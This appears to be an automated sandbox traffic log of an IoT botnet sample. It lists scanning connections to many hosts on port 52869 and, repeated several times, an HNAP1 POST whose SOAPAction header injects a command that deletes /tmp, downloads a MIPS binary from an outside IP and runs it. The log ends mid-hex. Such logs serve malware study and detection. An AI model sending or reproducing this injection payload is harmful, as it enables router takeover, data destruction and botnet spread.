Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 182.140.49.33:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 201.27.36.212:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 60.108.89.226:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 62.115.160.148:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 101.61.68.169:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 147.236.145.84:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 32.89.153.235:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 200.143.96.225:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 135.46.253.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 53.160.111.161:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 89.18.69.32:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 204.112.46.72:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 148.169.183.88:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 100.60.166.120:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 24.100.37.99:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 106.77.235.178:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 74.86.177.143:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 93.252.74.174:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 1.55.17.214:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 201.80.244.149:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 59.177.138.31:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 99.127.205.224:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 40.31.31.26:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 203.207.112.123:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 198.156.83.64:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 25.126.30.86:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 217.130.21.192:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 110.180.177.232:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 103.142.51.103:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 107.79.61.249:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 9.38.252.74:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 8.63.193.67:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 63.52.170.42:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 100.37.68.156:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 218.226.143.210:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 89.233.200.37:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 133.194.22.27:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 54.0.109.139:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 204.22.112.51:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 95.102.126.194:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 128.146.97.133:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 82.170.83.244:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 5.111.164.30:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 122.240.194.41:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 58.1.66.56:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 66.22.86.231:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 54.74.62.203:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 58.74.75.55:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 45.158.193.141:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 191.210.149.200:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 120.91.6.169:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 42.64.165.62:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 180.159.174.8:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 110.35.35.126:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 160.202.230.200:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 170.238.170.23:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 48.94.71.71:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 134.101.167.236:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 23.41.98.94:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 163.103.83.144:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 95.169.165.185:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 208.129.54.200:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 124.26.228.151:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 174.245.255.131:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 90.12.197.225:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 32.40.17.227:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 132.43.201.74:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 206.118.40.161:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 161.130.73.183:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 12.139.233.245:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 62.249.107.248:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 66.69.139.32:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 20.80.184.208:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 106.200.184.4:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 107.139.64.39:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 47.152.137.121:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 70.143.11.57:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 79.11.204.185:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 43.115.169.164:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 49.141.32.67:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 150.133.239.53:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 211.249.115.21:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 23.40.61.101:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 179.191.111.251:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 179.20.58.118:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 111.135.31.179:52869

Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 